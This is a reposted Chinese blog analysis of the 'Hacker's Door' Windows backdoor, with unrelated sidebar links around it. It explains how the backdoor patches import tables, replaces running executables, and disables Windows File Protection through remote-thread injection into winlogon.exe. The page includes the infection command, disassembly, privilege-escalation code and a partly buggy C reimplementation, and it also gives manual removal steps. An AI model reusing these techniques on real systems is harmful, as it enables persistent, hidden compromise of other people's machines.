黑客之门的魅力:感染与加载

基于大语言模型的AI狼人杀游戏:双层角色扮演与模型竞技场设计 大语言模型(LLM)凭借其强大的自然语言理解和生成能力,正在重塑人机交互的边界。其核心原理是通过海量文本数据训练,学习语言模式与逻辑推理,从而能够模拟人类对话与决策过程。这一技术价值在于,它不仅能实现智能问答,更能驱动复杂的角色扮演与多智能体协作,为游戏、社交、教育等领域带来革新。在游戏开发场景中,LLM可用于创建具有深度人格的虚拟角色,实现动态叙事与智能博弈。本文聚焦于AI狼人杀游戏Wolfcha,其核心创新在于构建了双层AI角色扮演系统,并集成了DeepSeek、Qwen、Kimi等多个主流大模型,形成 阅读详情
前置知识:黑客之门的基本功能

蝴蝶:学习黑客技术很关键的一点就在于不断地学习先进的技术,不断地创造出新的东西,这样才能在飞速发展的网络技术中占领自己的一席之地。最近大家关注的黑兵器有些什么呢?黑客之门估计是大多数人关注的目标,因为它太厉害了,厉害到它不但是个功能超强的后门,同时它还有很多思想都是比较新颖的,值得大家学习。正好本文作者通过自己写程序和分析黑客之门的代码获得了很大的提高,于是写下此文。抱着学习的态度从技术角度分析黑客程序的编制技巧,与大家分享,8错8错!


黑客之门的魅力:感染与加载

    最近对后门产生了很浓厚的兴趣,上网与各位高手讨论的时候,有人提到了“黑客之门”很厉害,也算是推出来的比较成功的一个后门,于是上网下载了一个研究研究,顺便也学习学习其中的方法与技巧。不敢独享,分享于此,同时希望高手们指教。

    “黑客之门”介绍

    黑客之门采用的目前一些先进的后门技术,它只有一个Dll文件,通过感染系统文件启动自身,被感染的系统文件大小和日期都不会改变;同时采用线程插入技术,本身没有进程;本身不开端口,而是重用系统进程开的任意一个端口,如80,135,139,445等,因此它的隐藏性非常好,而且穿透防火墙也是很容易的事。这个版本文件不大,只提供一些很有用的命令。目前还没有发现如何工具能查到这个后门,象Fport,Llister,RKDetector等查工具都失效。
程序的自启动

    既然是一个后门,那么就要随系统的启动而启动,根据黑客之门的介绍,它是通过感染系统程序文件来实现程序的自启动的。既然是感染了系统文件(像病毒),那就看看感染前和感染后的系统文件的区别吧!为了测试感染前后的差别,我准备了一个专门用来被感染的文件TestLoad.exe,它没有什么功能,只是弹出一个对话框,这样好等待测试,麻雀虽小,五脏俱全,省得动系统文件了。接着运行命令:

C:/>rundll32 hkdoordll,DllRegisterServer TestLoad.exe 2
使黑客之门感染TestLoad.exe,感染完毕后用EXE文件查看利器eXescope查看TestLoad.exe被感染前后的差别。

被感染之前eXescpoe显示的TestLoad.exe的结构如图1所示:


黑客之门的魅力:感染与加载
 
图1


感染之后的TestLoad.exe的结构如图2所示:

黑客之门的魅力:感染与加载
 
图2


可以看出感染之后的TestLoad.exe的引入表多了一个Hkdoordll.dll引入库。细心观察感染之后的TestLoad.exe的引入表地址(Import Table Address ITA)已经被改变,原来的ITA为0x000043FC,感染之后为0x0000477E。
为了进一步看清除感染前后的文件的变化,这里使用LordPE.exe比较感染前后的TestLoad.exe的引入表函数,比较结果如图3所示:

黑客之门的魅力:感染与加载
 
图3


    小提示:使用LordPE.exe查看exe文件的引入表函数方法是:点击PE Edito打开相应的文件,接着点击Directories,弹出对话框后点击Import Table右边的三个点,这样就可以查看一个可执行文件的引入表了。

    可以看出,只是在引入表链表中添加了一个相应的Hkdoordll.dll,这样当被感染的程序再次运行时,由系统的程序装载器搜索Hkdoordll.dll,并将其引用到被感染程序的地址空间,后门就运行起来了。黑客之门的这种子启动方式值得学习,比较灵巧。

    搞明白了黑客之门的启动方式后,我们就可以手动清除它了,这里切不可将Hkdoordll.dll直接删除,这样可能直接导致系统崩溃。因为系统在加载被感染的程序(假如为Services.exe)时发现没有找到Hkdoordll.dll,Services.exe将不能被装载,如果被感染的是系统关键进程的话,那么系统将不能正确的启动。清除的时候我们可以去别的机器上(相同系统与补丁)找一个Services.exe,将被感染的程序命名为Services2.exe,将Services.exe拷贝到System32文件夹下,重启电脑,删除Hkdoordll.dll就清除黑客之门了。
运行时感染

    上面说的是黑客之门的自启动方式,下面看看黑客之门是怎么感染正在运行的系统文件的,这一点让我晕了很久,最后发现是用了一个很灵活的小技巧。
我们知道在Windows系统下,正在运行的程序文件一般是不能修改或者删除的,正是由于这一点,才出现了各种程序运行时的自删除大法,程序自删除不是我们这次的重点。但是,细心的用户可能已经发现,在Windows 2000或Wndows XP系统下,我们可以对正在运行的EXE文件进行重命名或者移动。
再拿刚才的TestLoad.exe做测试,运行:

C:/>rundll32 hkdoordll,DllRegisterServer TestLoad.exe 2
可以发现TestLoad.exe所在的文件夹内多出了一个文件TestLoad.exe.bak,咋一看还以为“黑客之门”做好事,自动帮你备份一下系统文件,其实这可是黑客之门的狐狸尾巴啊!是它不得已而为之的。不要关闭TestLoad.exe,然后试着删除TestLoad.exe和TestLoad.exe.bak,是不是发现奇迹了?竟然把TestLoad.exe删掉了,而TestLoad.exe.bak竟然不让删,是不是和我刚才说的话矛盾?非也!非也!刚好证明了刚才的话:黑客之门先把TestLoad.exe改名为TestLoad.exe.bak,然后生成一个被感染的TestLoad.exe,这样,下次运行TestLoad.exe实际上是被替换过的程序,原来的程序则放在一边。
用IDA Pro反汇编Hkdoordll.dll可以发现以下函数的调用:

文件重命名:

.data:1000C618                 lea     ecx, [esp+438h+FileName]
.data:1000C61F                 lea     edx, [esp+438h+var_324]
.data:1000C626                 push    ecx
.data:1000C627                 push    edx
.data:1000C628                 call    rename

拷贝文件:

.data:1000C66F           lea     edx, [esp+440h+var_32C]
.data:1000C676           push    0               ; bFailIfExists
.data:1000C678           lea     eax, [esp+444h+var_228]
.data:1000C67F           push    edx             ; lpNewFileName
.data:1000C680           push    eax             ; lpExistingFileName
.data:1000C681           call    CopyFileA

移动文件:

.data:1000C795           mov     eax, [ebp+8]
.data:1000C798           test    eax, eax
.data:1000C79A           jnz     short loc_1000C7FE
.data:1000C79C           lea     ecx, [esp+448h+var_334]
.data:1000C7A3           push    5               ; dwFlags
.data:1000C7A5           lea     edx, [esp+44Ch+var_230]
.data:1000C7AC           push    ecx             ; lpNewFileName
.data:1000C7AD           push    edx             ; lpExistingFileName
.data:1000C7AE           call    MoveFileExA
上面的语句实际上可以理解为:
MoveFileEx(“TestLoad.exe”,”TestLoad.exe.bak”, MOVEFILE_DELAY_UNTIL_REBOOT| MOVEFILE_REPLACE_EXISTING);

    小知识:MSDN中对MoveFileEx()函数的解释为:
BOOL MoveFileEx(
  LPCTSTR lpExistingFileName,  // pointer to the name of the existing file
  LPCTSTR lpNewFileName,       // pointer to the new name for the file
  DWORD dwFlags                // flag that specifies how to move file
);

    这样进程TestLoad.exe的文件映象实际上为TestLoad.exe.bak,接着Hkdoordll.dll生成被感染的TestLoad.exe,并且保存在原来的文件路径上即可。

    灭掉系统文件保护

    一旦系统启动了,Windows系统就开始加载已经被感染的系统程序,但是由于“黑客之门”是通过感染系统程序实现自启动的,这下子又遇到了另外一个问题。

    大家都知道,在Windows 2000和Windows XP中有系统文件保护功能,一旦被保护的系统文件被修改了,就会弹出需要插入系统安装盘CD的对话框。这样就导致了一个问题, TestLoad.exe只是一个普通的EXE文件,而不是受系统文件保护系统保护的系统进程,那为什么黑客之门修改系统进程时,操作系统的文件的文件保护系统不会提醒呢?
这一点,还是采用反汇编黑客之门的方法,观察它是怎样关闭系统文件保护功能的。

发现如下的代码:

.data:1000BBB0 LoadSFCDLL   proc near    ; CODE XREF: sub_1000BC70+B7
.data:1000BBB0      push    esi
.data:1000BBB1      xor     esi, esi
.data:1000BBB3      call    GetVersion  ; Get current version number of Windows
.data:1000BBB3      ; and information about the operating system platform
.data:1000BBB9      cmp     al, 5
.data:1000BBBB      jnz     short loc_1000BBDF
.data:1000BBBD      xor     ecx, ecx ;此时为Windows2000系统
.data:1000BBBF      mov     cl, ah
.data:1000BBC1     test    cl, cl
.data:1000BBC3     jnz     short loc_1000BBD2
.data:1000BBC5     push    offset aSfc_dll ; lpLibFileName
.data:1000BBCA     call    LoadLibraryA ;此时为WindowsXP系统
.data:1000BBD0     pop     esi
.data:1000BBD1     retn
.data:1000BBD2 loc_1000BBD2:          ; CODE XREF: LoadSFCDLL+13 j
.data:1000BBD2     push    offset aSfc_os_dll ; lpLibFileName
.data:1000BBD7     call    LoadLibraryA
.data:1000BBDD     pop     esi
.data:1000BBDE     retn

上面的代码可以看出,Hkdoordll.dll根据操作系统的版本调用了Sfc.dll或者Sfc_os.dll,如果是Windows 2000(Windows NT 5.0)的话,装载Sfc.dll;如果是Windows XP(Windows NT 5.1)的话,装载Sfc_os.dll。再看下面的一段反汇编代码:

sub     esp, 228h
.data:1000BC76     lea     eax, [esp+228h+hObject]
.data:1000BC7A     push    ebx
.data:1000BC7B     push    esi
.data:1000BC7C     push    edi
.data:1000BC7D     push    offset aWinlogon_exe ; "winlogon.exe"
.data:1000BC82      push    0
.data:1000BC84      push    offset aDS      ; "%d/%s"
.data:1000BC89      push    1Fh
.data:1000BC8B     mov     edi, ecx
.data:1000BC8D     push    eax
.data:1000BC8E     call    sub_10008C60
.data:1000BC93      add     esp, 14h
.data:1000BC96      lea     ecx, [esp+234h+hObject]
.data:1000BC9A      push    ecx             ; lpMultiByteStr
.data:1000BC9B      call    sub_100016CC    //这个子函数就是用来得到进程ID
.data:1000BCA0      cmp     eax, 0FFFFFFFDhSFC
.data:1000BCA3      jb      short loc_1000BCDB
.data:1000BCA5      push    offset aCanTGetWinlogo ; "Can't get winlogon process id!/r/n"

上面的函数用来得到Winlogon.exe进程的ID,以便下面打开它注入代码:

.data:1000BCDB       push    eax             ; dwProcessId
.data:1000BCDC       push    0               ; bInheritHandle
.data:1000BCDE       push    1F0FFFh         ; dwDesiredAccess
.data:1000BCE3       call    OpenProcess ;打开目标进程
.data:1000BCE9       mov     ebx, eax
.data:1000BCEB       test    ebx, ebx
.data:1000BCED       jnz     short loc_1000BD25

上面的汇编代码段是调用OpenProcess()函数打开Winlogon.exe进程。继续观察反汇编代码,发现下面的一段:

.data:1000BD25       mov   ecx, edi
.data:1000BD27       call    LoadSFCDLL
.data:1000BD2C       mov   esi, eax
.data:1000BD2E       test    esi, esi
.data:1000BD30       jnz    short loc_1000BD6F
.data:1000BD6F       push   2              ;函数序号为2
.data:1000BD71       push   esi             ;SFC.dll的 hModule
.data:1000BD72       call    GetProcAddress ;得到SFC.dll中序数为2 的函数的地址
.data:1000BD78       test    eax, eax
.data:1000BD7A       mov     [edi+10h], eax
.data:1000BD7D       jnz     short loc_1000BDC3

可以发现上面的汇编代码用来得到以前装载的Sfc.dll(或Sfc_os.dll)中的序数为2的函数的地址。接着程序跳转到了Loc_1000BDC3,继续跟踪反汇编代码,发现以下一段:

.data:1000BDC3       push    eax             ; 刚才得到的SFC.dll中函数的地址
.data:1000BDC4       push    ebx             ; Winlogon.exe进程的句柄
.data:1000BDC5       mov     ecx, edi
.data:1000BDC7       call    sub_1000BBF0注意这里调用函数 sub_1000BBF0
.data:1000BDCC       push    esi             ; hLibModule
.data:1000BDCD       mov     edi, eax
.data:1000BDCF       call    FreeLibrary
.data:1000BDD5       test    edi, edi
.data:1000BDD7       push    ebx             ; hObject
跟进Sub_1000BBF0函数,Sub_1000BBF0函数:
入口参数:进程句柄、线程开始地址
.data:1000BBF0 sub_1000BBF0    proc near     ; CODE XREF: sub_1000BC70+157 p
.data:1000BBF0
.data:1000BBF0 ThreadId        = dword ptr -1
.data:1000BBF0 hProcess        = dword ptr  7
.data:1000BBF0 lpStartAddress  = dword ptr  0Bh
.data:1000BBF0
.data:1000BBF0       push    ecx
.data:1000BBF1       mov     ecx, [esp+1+lpStartAddress]
.data:1000BBF5       mov     edx, [esp+1+hProcess]
.data:1000BBF9       lea     eax, [esp+1+ThreadId]
.data:1000BBFD       push    esi
.data:1000BBFE       push    eax       ; lpThreadId
.data:1000BBFF       push    0         ; dwCreationFlags
.data:1000BC01       push    0         ; lpParameter
.data:1000BC03       push    ecx       ; SFC.dll中第二个函数的函数地址
.data:1000BC04       push    0         ; dwStackSize
.data:1000BC06       push    0         ; lpThreadAttributes
.data:1000BC08       push    edx       ; 以前打开的winlogon.exe进程的句柄
.data:1000BC09       mov     [esp+21h+ThreadId], 0
.data:1000BC11       call    CreateRemoteThread    ;创建远线程
.data:1000BC17       mov     esi, eax
.data:1000BC19       test    esi, esi  ;ESI保存刚才新创建的线程的句柄
.data:1000BC1B       jnz     short loc_1000BC3F
――――――――――――――――――――――――――――――
.data:1000BC3F
.data:1000BC3F loc_1000BC3F:     ; CODE XREF: sub_1000BBF0+2B j
.data:1000BC3F          push    0FA0h           ; dwMilliseconds
.data:1000BC44          push    esi             ; 新创建的线程的句柄
.data:1000BC45          call    WaitForSingleObject ;等待远程线程的结束
.data:1000BC4B          test    eax, eax
.data:1000BC4D          jz      short loc_1000BC5D
――――――――――――――――――――――――――――――――――
.data:1000BC5D
.data:1000BC5D loc_1000BC5D:         ; CODE XREF: sub_1000BBF0+5D j
.data:1000BC5D          push    esi             ; hObject
.data:1000BC5E          call    CloseHandle
.data:1000BC64           mov     eax, [esp+5+ThreadId]
.data:1000BC68           pop     esi
.data:1000BC69           pop     ecx
.data:1000BC6A           retn    8
.data:1000BC6A sub_1000BBF0    endp

    上面的子函数功能很简单,就是在刚刚打开的Winlogon.exe进程中创建新的线程,新线程调用SFC.dll中的序号为2的输出函数,这样便关掉了系统文件的自我保护。

    事实上,根据Bgate的《在Win 2000/XP上安静地替换正在使用的系统文件》这篇文章的解释,在Windows 2000(XP)系统下,执行系统文件保护的代码在Sfc.dll(XP在Sfc_os.dll)中,这个Dll由Winlogon.exe调用。Winlogon.exe主要调用Sfc.dll中的两个函数实现系统文件文件保护。Winlogon.exe调用Sfc.dll中的一个输出函数在系统启动的时候创建了一系列事件,Winlogon.exe结束时调用另外一个函数关闭上面的一系列事件,这样就关闭了系统保护文件功能。那这样我们只需要向Winlogon.exe中注入代码调用“第二个”函数,就能取消文件保护功能了,“黑客之门”采用的也正是这样的方法。

    这里需要注意的是,要把进程注入到Winlogon.exe中,需要提升自身的权限到Debug权限。

HANDLE hToken;
    LUID DebugNameValue;
    TOKEN_PRIVILEGES Privileges;
    DWORD dwRet;

    OpenProcessToken(GetCurrentProcess(),
      TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,hToken);
    LookupPrivilegeValue(NULL,"SeDebugPrivilege",&DebugNameValue);
    Privileges.PrivilegeCount=1;
    Privileges.Privileges[0].Luid=DebugNameValue;
    Privileges.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
    AdjustTokenPrivileges(hToken,FALSE,&Privileges,sizeof(Privileges),
                  NULL,&dwRet);
    CloseHandle(hToken);

上面整个关闭系统文件保护功能的实现用C语言写下来如下所示:

/*得到进程的ID,具体的方法可以使用CreateToolHelpSnap32(),ProcessFirst32()以及ProcessNext32()得到*/
 DWORD dwPid=GetProcessIdFromName(“Winlogon.exe”);
HANDLE Process=OpenProcess(,FALSE,dwPid);
DWORD dwVersion;
 HMODULE hSfc;
dwVersion = GetVersion();
//判断操作系统的类型
   if ((DWORD)(LOBYTE(LOWORD(dwVersion))) == 5)
{                // Windows 2000/XP
        if((DWORD)(HIBYTE(LOWORD(dwVersion))) == 0)   //Windows 2000
                   hSfc = LoadLibrary("sfc.dll");      
        else if((DWORD)(HIBYTE(LOWORD(dwVersion))) = 1)             //Windows XP
            hSfc = LoadLibrary("sfc_os.dll");      
    }   
//得到函数的地址
FARPROC dwAddress=GerProcAddress(hSfc, MAKEINTRESOURCE(2));
DWORD dwThreadId;
HANDLE  hThread;
//创建远线程
hThread =CreateRemoteThread(hProcess,0,0, /
(DWORD (__stdcall *) (void *)) dwAddress,0,0,&dwThreadId);
WaitForSingleObject(hThread,0x0FA0);

    结束语

    大概分析完了,刚开始拿到黑客之门的时候,还在想,它到底是怎样感染正在运行的系统文件的呢?原来以为是修改进程的句柄指向的进程的操作掩码完成的,为此我还翻阅了好多文档。结果通过对程序的反汇编学习,渐渐的发现黑客之门的程序编制的技巧。这里也要感谢“黑客之门”的作者,没有给它加壳,能让我们有幸能一睹优秀黑客工具的容颜!
不到之处,欢迎指教,Mail:fengcaho@163.com。
(文中涉及程序已收录到杂志配套光盘“杂志相关”栏目,按文章名查找即可)

WebWormhole安全审计:验证点对点传输的完整性与机密性 在网络安全领域,数据传输的完整性与机密性是两大核心安全属性,它们共同构成了可信通信的基石。完整性确保数据在传输过程中未被篡改,机密性则保证数据内容不被未授权方窃取。其技术原理主要依赖于现代密码学协议,如DTLS(数据报传输层安全)和SRTP(安全实时传输协议),这些协议通过密钥交换、加密算法和消息认证码(MAC)等技术手段,在端到端连接中建立安全隧道。从技术价值看,这种基于标准协议的安全机制,使得在不可信网络中实现可信数据传输成为可能,尤其适用于敏感文件传输、实时通信等对隐私要求高的场景。在点对点(P2P) 阅读详情

相关推荐

Mirai僵尸网络利用四信路由器漏洞的DDoS攻击链深度解析与防御实践

物联网安全是网络安全领域的重要分支,其核心挑战在于海量设备的安全防护薄弱。僵尸网络作为典型的网络攻击形态,通过控制大量‘肉鸡’设备,能够发起大规模分布式拒绝服务攻击,对关键基础设施造成严重威胁。其技术价值在于揭示了从漏洞利用、恶意代码传播到命令控制的全链条攻击原理。在应用场景上,智能家居、工业物联网等领域的联网设备常成为攻击目标。本文聚焦于一个活跃的Mirai变种,它利用四信路由器的未公开漏洞构建僵尸网络,并以此发动DDoS攻击。通过拆解其攻击链,深入分析了漏洞利用推测、持久化驻留机制、C2通信以及具体的D

weixin_33796205的博客 470

《网络安全0-100》黑客网站分享大全快码住

祝大家好好学习,通过《网络安全0-100》学到有用的知识。拜拜。

一只正的博客 1660

【信息科学与工程学】【管理科学】第二十五篇 企业部门负责人全景运作模型库L2【企业的二级部门负责人】-01

编号: MA-B-L2-0001模型名称: 立体目标解码与对齐模型模型配方: 一级部门战略指令输入 + 多维度解构 + 利益相关者诉求滤波 + 本级可执行目标包输出核心内容/要义: 精准解读一级部门(上级)下达的、往往是模糊或矛盾的战略目标,将其转化为本二级部门清晰、可衡量、且能牵引下属三、四、五级部门行动的具体目标体系。核心在于识别“字面目标”、“真实目标”与“政治目标”,并在解码过程中完成与上级的隐性对齐和对下级的显性灌输。详细流程与关键细节:指令接收与情境分析:场合:正式会议、私下沟通、邮件批示、非正

weixin_49199313的博客 378

自学黑客,一般人我劝你还是算了吧!

写在开篇 笔者本人 17 年就读于一所普通的本科学校,20 年 6 月在三年经验的时候顺利通过校招实习面试进入大厂,现就职于某大厂安全联合实验室。 我为啥说自学黑客,一般人我还是劝你算了吧!因为我就是那个不一般的人。

m0_74942241的博客 608

EEKeeper.exe

博德之门2增强版修改器,单机游戏玩家的最爱。物品、人物经验全都可以改

博德之门存盘文件修改器

博德之门存盘修改器 博德之门存盘修改器 博德之门存盘修改器 博德之门存盘修改器

黑客之门(hacker's door) 1.2 版

黑客之门(hackers door) 1.2 版 黑客之门采用的目前一些先进的后门技术,它只有一个dll文件,通过感染系统文件启动自身,被感染的系统文件大小和日期都不会改变;同时采用线程插入技术,本身没有进程;它本身不开端口,而是重用系统进程开的任意一个端口,如80,135,139,445等,这使得它很容易穿透防火墙,目前还没有工具能发现它。 黑客之门独特的文件感染启动方式和端口重用

CLassic_Ms的专栏 5602

EE Keeper:EE Keeper是Baldur's Gate增强版的保存的游戏编辑器。-开源

EE Keeper已保存为《博德之门:增强版》和《博德之门II:增强版》的游戏编辑器。 该项目是Shadow Keeper的延续,Shadow Keeper最初由Aaron O'Neil在2000年为Baldur's Gate II:Amn的影子和Bhaal的王位发行。 此版本仍可与原始BG2一起使用。 目前,它只能在Windows上本机运行,尽管已在Mac OS X上通过Wineskin进行了尝试,并且目前可以运行,尽管无法保证这种情况将继续存在。 但是,最大程度地增加支持是当务之急。 请注意:除非另有说明,否则EE Keeper将以Zip格式存档并上传。 请注意,如果需要任何其他信息,则应注意所创建的任何支持票。 如果您不打算继续关注票务,并且在官方的Baldur's Gate论坛上拥有一个帐户,请确保在票务中提供您的用户名,以防需要任何其他信息。

【今天黑一下学校教务系统】某学校渗透测试远程命令执行(已授权)

我和小伙伴们都惊呆了

shandongjiushen的博客 5625

《EE Keeper:Baldurs Gate增强版开源存档游戏编辑器》

资源下载链接为: https://pan.quark.cn/s/cc01911b0887 EE Keeper是一款专为《博德之门:增强版》和《博德之门II:增强版》设计的游戏编辑器,它是Shadow Keeper项目的延续。Shadow Keeper最初由Aaron ONeil在2000年为《博德之门II:安姆的阴影》和《巴尔的王座》推出。EE Keeper目前仍兼容原始的《博德之门II》版本。不过,该编辑器目前仅能在Windows系统上原生运行。尽管有用户尝试通过Wineskin在Mac OS X上运行,并且目前可以使用,但无法保证未来仍能持续兼容。目前,团队的首要任务是尽可能扩大对其他系统的支持。需要注意的是,EE Keeper通常会以Zip格式打包并上传。如果用户需要进一步的信息支持,请注意在相关支持请求中提供详细信息。如果用户不打算持续关注该支持请求,但拥有官方《博德之门》论坛的账号,建议在支持请求中注明论坛用户名,以便在需要时能够及时联系到用户。

IntelliJ IDEA 中git使用说明书

IntelliJ IDEA 中git使用说明书

junyang2012的博客 5389

全新整理黑客网站大全!都在这了!速看收藏!

今天给大家分享一些学习网络安全的好去处。对于网络安全的学习,多逛论坛、阅读他人的技术分析帖是非常重要的。但有时候,初学者可能会感到迷茫,不知道去哪里寻找这些技术分析帖,也不知道有哪些相关的论坛或网站。所以,今天我就来给大家分享一些比较常见的国内安全论坛。

kaka0722ww的博客 6795

ISO15118-20证书结构关系解读(7.3.2.1)

本文主要讲述ISO15118-20:2022标准所有证书结构的关联关系,目的是为后续基于ISO15118-20车桩通讯及PNC充电等提供基础支撑。 本文所有的证书关系图全部来源于ISO15118-20:2022标准规范,在后续的讲解过程会将图的摘取出处给提供出来,便于后期文章和标准对应起来解读。

weixin_40900932的博客 3184

黑客之门的魅力:感染与加载 [转]

适合读者:黑器爱好者、入侵爱好者、编程爱好者 前置知识:黑客之门的基本功能 蝴蝶:学习黑客技术很关键的一点就在于不断地学习先进的技术,不断地创造出新的东西,这样才能在飞速发展的网络技术中占领自己的一席之地。最近大家关注的黑兵器有些什么呢?黑客之门估计是大多数人关注的目标,因为它太厉害了,厉害到它不但是个功能超强的后门,同时它还有很多思想都是比较新颖的,值得大家学习。正好本文作者通过自己

ccx_john的专栏 899

ICM42670 IIC驱动与卡尔曼+四元数姿态解算实战

惯性测量单元(IMU)是运动控制、无人机飞控和AR/VR设备的核心传感器,其数据质量直接取决于底层硬件通信可靠性与姿态估计算法鲁棒性。IIC(I²C)作为嵌入式系统中最常用的低速串行总线,需满足确定性时序、抗干扰与实时采样要求;卡尔曼滤波则通过状态建模与噪声协方差优化,在动态环境中融合加速度计与陀螺仪数据;而四元数因其无万向锁、插值平滑、旋转合成高效等优势,成为高精度姿态解算的数学基础。本文以高性能六轴IMU ICM42670为载体,深入剖析IIC硬件设计要点、裸机级驱动优化、Allan方差驱动的卡尔曼参数

weixin_27076351的博客 254

Java开发的企业排班系统

Java开发的企业排班系统,用了springboot框架,人脸识别是采用百度接口的方式实现

自学网站s.jf3q.com,菜鸟的成长之路 6013

“黑客之门”后门的魅力:感染与加载(1)

 “黑客之门”介绍   黑客之门采用的目前一些先进的后门技术,它只有一个Dll文件,通过感染系统文件启动自身,被感染的系统文件大小和日期都不会改变;同时采用线程插入技术,本身没有进程;本身不开端口,而是重用系统进程开的任意一个端口,如80,135,139,445等,因此它的隐藏性非常好,而且穿透防火墙也是很容易的事。这个版本文件不大,只提供一些很有用的命令。目前还没有发现如何工具能查到这个后门,象

Civet148的专栏 1702

Python实战:3步搞定DICOM转JPG/PNG(附批量处理脚本)

本文详细介绍了如何使用Python在3步内将DICOM医学影像转换为JPG/PNG格式,并提供了批量处理脚本。通过Pydicom、Pillow和NumPy库的组合,解决了像素值处理、批量转换效率和医学图像特性保留等关键问题,适合医疗AI开发者和放射科医生快速集成到工作流中。

numpy6sculptor的博客 592

安全杂记——病毒篇(自我笔记与小白普及)

想写点什么,但是感觉无从下笔,感觉自己脑子里面没有一个很好的架构,就写一写随笔吧,大家也随意看看就好。希望能够大家有一些帮助 1.病毒 比较火的病毒类型:鬼影病毒、AV终结者末日版、网购木马、456游戏木马、连环木马(后门)、QQ粘虫木马、淘宝客病毒、浏览器劫持病毒、传奇私-Fu劫持者、QQ群蠕虫病毒等。 我看了看手机木马,总结了一些挺有意思的:基本都是跟黄色有关的 比如:无码高清、咪咪影院、色啦影音、真人美女这种,其他的主要就是一些盗版游戏了。 2.恶意软件生态系统 犯罪集团头目——编写恶意软件——

ZSWAries的博客 932

10、犹豫双模糊TOPSIS算法:原理与实例解析

本文介绍了犹豫双模糊TOPSIS算法的基本原理与应用步骤,结合中国四家纺织公司的案例,详细解析了从构建犹豫双模糊决策矩阵、归一化处理、专家信息聚合,到确定正负理想解、计算距离与相对贴近度系数的完整决策流程。该方法有效应对决策者在评价过程中的犹豫性,适用于财务评估、项目选择等复杂多属性决策场景,具有较强的实用性和推广价值。

yhn45678901的博客 122

图神经网络实战(8)——图注意力网络(Graph Attention Networks, GAT)

图注意力网络 (Graph Attention Networks, GAT) 是对图卷积网络 (Graph Convolutional Network, GCN) 的改进,提出了一种通过自注意力 (self-attention) 过程计算的加权因子,而不是使用静态的归一化系数。在本节中,我们介绍了 GAT 架构。通过从线性变换到多头注意力的四个主要步骤,了解了 GAT 的工作原理,并在 NumPy 中从零开始构建了 GAT 层。最后,将 GAT 模型应用于 Cora 和 CiteSeer 数据集。

盼小辉丶的博客 1万+

Wireshark网络协议分析从入门到实战:捕获、过滤与故障排查指南

网络协议分析是理解网络通信、排查故障的核心技术,它通过捕获和解码数据包,揭示应用层到物理层的完整交互过程。其原理在于利用网卡驱动将流经的网络流量镜像到分析工具,实现协议解码和会话重组。这项技术的价值在于将抽象的网络问题可视化,为运维、开发和安全人员提供精准的排障依据。在应用场景上,它广泛用于诊断网络延迟、连接失败、异常流量以及学习HTTP、TCP等协议交互细节。本文以Wireshark这一主流工具为例,系统讲解其**捕获、过滤、分析**的核心工作流,并通过实战案例演示如何利用**显示过滤器**和统计功能快速

weixin_30292745的博客 342

9.23华为OD机试真题 新系统 - 小菊的寻宝之旅 (Java/Py/C/C++/Js/Go)

9.23华为OD机试真题 新系统 - 小菊的寻宝之旅 (Java/Py/C/C++/Js/Go)

算法大师! 994

黑客网站大全!都在这了!速看被删就没了

我们学习网络安全,很多学习路线都有提到多逛论坛,阅读他人的技术分析帖,学习其挖洞思路和技巧。但是往往对于初学者来说,不知道去哪里寻找技术分析帖,也不知道网络安全有哪些相关论坛或网站,所以在这里给大家做一个网络安全的论坛网站分享。黑基网(WWW.HACKBASE.NET)成立于2003年,由IT精英和白帽黑客共同发起创立,致力于打造高端IT与网络安全的技术交流平台,网站拥有100万注册用户,在过去近20年的发展历程中,被赞誉为和。

yy1715713348的博客 2万+

最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版

Part-E1-SDIO-Specification-Ver4.00-Final-120220.pdf:最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版,包括SDIO 接口的外设,SDIO 接口官方协议等。

汉书HE8,好用的汇编代码编写工具

汉书HE8,好用的汇编代码编写工具早期编写汇编代码所用功能强大

上一篇: 代码注入(Inject your code to a Portable Executable file)
下一篇: JIURL玩玩Win2k内存篇 内存共享(一) ProtoPTE
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值